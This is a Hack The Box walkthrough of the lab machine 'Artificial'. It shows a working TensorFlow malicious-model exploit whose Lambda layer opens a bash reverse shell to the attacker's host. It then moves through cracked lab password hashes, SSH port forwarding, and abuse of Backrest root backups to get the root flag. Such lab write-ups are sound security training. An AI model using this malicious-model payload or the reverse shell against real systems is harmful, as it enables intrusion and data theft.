This is the newly retired easy Linux machine. I was doing Tombwatcher but that went under paywall so welp, doing this!
Init
Starting with nmap scan, there is only an SSH and HTTP port open.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-28 18:57 UTC
Nmap scan report for 10.10.11.74
Host is up (0.091s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.66 seconds
Adding artificial.htb to /etc/hosts, the website seems to offer us to run AI models.

While I run gobuster dir, There is option for register and login. After registering there is an option to upload files and there is also requirements.txt and Dockerfile, I suppose so we can recreate the environment locally. We have to upload .h5 file which is model’s file I suppose. I upload an empty model file and it really does nothing. It shows up and an uploaded model but nothing more. Maybe it is doing something on the server.

The gobuster search also gives nothing interesting. So, the only other thing at the moment is the tenserflow_cpu=2.13.1.
Searching the internet for some RCE, there is a vulnerability where the we can wrap python code into layer’s and it is executed as is. This also includes import statements and other system calls. This GitHub POC is pretty good: https://github.com/Splinter0/tensorflow-rce/blob/main/exploit.py
This blog post explains it well too. https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-modelflow.
import tensorflow as tf
def expoit(x):
import os
os.system("bash -c 'bash -i >& /dev/tcp/10.10.16.52/9001 0>&1'")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
#:model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save('exploit.h5')So, now I can upload the malicious exploit.h5 and potentially get a reverse shell! You can try echo something on docker container and it works fine. I had issues with tensorflow setup on my VM so couldn’t test it. But I was able to get a shell as user app!

User Flag
Straight away looking at the app.py, I can see that there is users.db database being used.

Dumping it’s data, we can see the the DB store username and password in MD5 hashed format. So, I dump the data from it. Looking at the /etc/passwd file, there is a user named gael which is also present in this DB data so we can try to crack the password and they to SSH and see if that works!
gael|c99175974b6e192936d97224638a34f8
mark|0f3d8c76530022670f1c6029eed09ccb
robert|b606c5f5136170f15444251665638b36
royer|bc25b1f80f544c0ab451c02a3dca9fc6
mary|bf041041e57f1aff3be7ea1abd6129d0
apa|81dc9bdb52d04dc20036dbd8313ed055
juan|cc03e747a6afbbcbf8be7668acfebee5
Skalyx|5f4dcc3b5aa765d61d8327deb882cf99
martin|34f74c049edea51851c6924f4a386762
kaliuser|827ccb0eea8a706c4c34a16891f84e7b
kali|41fca3a29aaddd9a004fd0156a45426b
Bundcryp|5c35ed83b194df25d50c91ab6694e765
test|81dc9bdb52d04dc20036dbd8313ed055
uusername|5f4dcc3b5aa765d61d8327deb882cf99
Just, using crackstation.net gives the password for geal as mattp005numbertwo. Luckily this is also the password for SSH and we get the user flag! 🎉
┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.6]─[truelyyours@parrot]─[~/htb/machines/Artificial]
└──╼ [★]$ ssh gael@artificial.htb
Last login: Mon Nov 3 05:20:58 2025 from 10.10.16.6
gael@artificial:~$ ls
user.txt
gael@artificial:~$
Privilege Escalation
Running linpeas.sh on the SSHed account. There is a backup file for backrest and some .sqlite files in /opt/backrest. The DBs are edited recently so there may be a Backrest server running. There are two ports open on localhost 5000 and 9898.
Setting up port forwarding and visiting the port 9898 gives us a Backrest server but, we also need a username and password!
ssh -L 6969:localhost:9898 gael@artificial.htb

The other interesting thing to look at is the backup. It has some .sqlite files but all those are empty. There is a config file at .config/config.json. It contains password for username backrest_root. The password is in base64 of Bcrypt. Cracking it using hashcat, we have the password for the use and we can login into the portal.

hascat:
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
So, now I can schedule any backups and they’ll run as root! So, I can essentially backup /root and then get root.txt from there.

Using Snapshot Browser window, I can “restore” the file to /dev/shm and then I can download the restored zip locally on my VM!
┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.6]─[truelyyours@parrot]─[~/htb/machines/Artificial]
└──╼ [★]$ tar tf archive-2025-11-03-07-44-07.tar.gz
root.txt
Cheers! Treat yourself to a glass of that sweet God’s nectar!! 🎉🎉💧🥂😎